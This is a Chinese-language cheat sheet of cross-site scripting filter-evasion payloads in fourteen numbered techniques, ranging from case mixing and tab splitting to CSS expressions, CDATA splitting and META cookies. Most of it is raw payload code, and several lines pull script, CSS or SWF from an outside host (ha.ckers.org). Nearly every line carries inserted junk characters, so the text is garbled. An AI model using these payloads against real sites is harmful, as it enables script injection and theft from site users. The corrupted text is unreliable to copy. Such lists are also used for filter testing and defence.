1. 改变字符大小写# r2 Y) _& b7 b& F2 B' v
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<sCript>alert(‘d’)</scRipT>0 K. A( K6 I: \ E. p
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2. 利用多加一些其它字符来规避Regular Expression的检查: X6 N/ Z+ D( @. J' D
. L9 o5 f& j3 a8 A9 V1 \ <<script>alert(‘c’)//<</script>
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; R$ d' D- H& A+ y4 r3 c7 \9 d <SCRIPT a=">" SRC="t.js"></SCRIPT>8 s4 o1 _$ D5 w8 f5 h$ u! y
8 b' x. V* S6 W <SCRIPT =">" SRC="t.js"></SCRIPT>% x+ q; I% h# \7 e# G3 p4 j) i
9 G( T5 @3 O1 ]/ \ <SCRIPT a=">" ” SRC="t.js"></SCRIPT>
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2 L8 M* H/ U, d% y <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
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# c. P" z/ X% o- V+ S6 X <SCRIPT a=`>` SRC="t.js"></SCRIPT>- d- ^% w! o' l4 n* o* F. O
7 j% r& y% B- p5 d2 f' w <SCRIPT a=">’>" SRC="t.js"></SCRIPT>
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3. 以其它扩展名取代.js
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1 ~! w8 l" j: Y" \, S <script src="bad.jpg"></script>
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4. 将Javascript写在CSS档里
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* d' H: A. { [2 a2 H, O+ m <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">( b/ N/ }5 b% s) G) D
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example:5 p! p6 h% @# N0 a
, u( _. c N* J; U' l8 S- v2 e$ G body {
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& F" `) S2 g. v# U( p9 \7 g background-image: url(‘javascript:alert("XSS");’)" b; x; o* h- H" Y
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}
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5. 在script的tag里加入一些其它字符
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<SCRIPT/SRC="t.js"></SCRIPT>/ N" F0 G9 M% t( o& z
& B, c5 W. B0 Q' ` <SCRIPT/anyword SRC="t.js"></SCRIPT>
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6. 使用tab或是new line来规避
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<img src="jav ascr ipt:alert(‘XSS3′)">( f6 F9 o0 m+ i/ h; U
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<img src="jav ascr ipt:alert(‘XSS3′)">5 e# P: }. l( v7 \# Z+ y
. ^6 |( b7 e: L) `8 K <IMG SRC="jav ascript:alert(‘XSS’);">0 {( h1 ?# k" S1 L* x2 @5 B
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-> tag0 c' R( D, v3 X0 H7 m
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-> new line
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, R2 ]& m6 J m- n/ m) Q7. 使用"\"来规避/ C" Y. c0 M" t+ ?6 Q' v f% A3 ~
, s# A+ q0 |# Z7 ] <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
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1 b& {0 ^. F T! U& H9 l) B+ O2 s: @ <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
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<IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">3 n6 l- h7 a$ ~3 ]
5 \2 J. w- ^' l' T <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">5 F; f; k; [0 W$ L/ f9 A
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<A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>8 {- Z2 k5 m- {" R% S
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8. 使用Hex encode来规避(也可能会把";"拿掉)
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<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
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; U( ]4 @( v2 D/ Y5 M) g: S1 [ 原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">2 q; o. P( d7 Q( B" f
2 d0 e" t/ ]; S2 @) N9 u% x# j <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">% C6 n) S! j J& d; R' t
/ \+ f& l+ N/ p: P8 L 原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">' G1 Z% Y6 h" R+ N
, Y% x& C; _3 {5 E9. script in HTML tag% v: p. U- m) U' x, N! R5 G
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<body onload=」alert(‘onload’)」>9 x& _7 L8 D" s1 J: c% V% B
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onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload$ x( v& o' ? U! c4 W9 l, _
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10. 在swf里含有xss的code
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<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>- z/ g, s( ^8 c
2 B6 i ]# F' ~) I$ R1 z# H11. 利用CDATA将xss的code拆开,再组合起来。! V5 P# U3 z+ a, W) P* {7 o9 Y
( p3 n# s/ b: R' N1 Q" d( Z; b <XML ID=I><X><C>
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<![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>% _3 p* a' f+ x' K
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</C></X>7 q6 ]3 j, p, Z- K3 X( ~8 T/ x/ B
# f$ V" k* ~4 |5 K# s </xml>( f9 o) x, F; K( W& j
) x" J" j2 v. `, U; [' J K <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>! }( B! _& n+ ?0 N1 \) K! ]
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<XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>
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<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>" h5 X, j+ n: F- Q+ d( [9 r" m0 i
" Z$ Q m. @; J0 y12. 利用HTML+TIME。
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<HTML><BODY>
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, y0 X, ]6 Q) G7 w* W! a, l, F <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
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<?import namespace="t" implementation="#default#time2">% x7 A- x3 f z/ j m0 I
& r. V S' @2 @ <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">1 H2 {3 e0 v& e; Q7 Q, [
. g% T b$ ]- g- F* ^3 l/ x& E3 | </BODY></HTML>! s3 B- L) y1 B
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13. 透过META写入Cookie。
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+ l. q7 j! u! h. R$ E" ?0 w <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">5 s1 v0 k) G9 G) e9 T% c
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14. javascript in src , href , url, G# D8 ?4 M' M; _. u) d
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<IFRAME SRC=javascript:alert(’13′)></IFRAME>
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& N& v( n: A) n- {% q <img src="javascript:alert(‘XSS3′)">! N" x Y! p- q* y+ `6 j
" O! I2 l& d& z2 O" d% M) Z% u<IMG DYNSRC="javascript:alert(‘XSS20′)">. F9 q: I/ k4 Q. S8 r3 D
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<IMG LOWSRC="javascript:alert(‘XSS21′)">: c0 b+ `( x9 D
( I) V) {( s" \ <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">, ]! b4 B/ ^ w
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<IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>$ e J! h& a" z$ n _) [/ g
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<TABLE BACKGROUND="javascript:alert(‘XSS29′)">' B: K. o P, |1 C5 q
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<DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">
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<STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}
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</STYLE><A CLASS=XSS></A>! K; x( P; V% o0 ]5 n
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<FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>" A* [9 X; j' o4 V& S8 N% f
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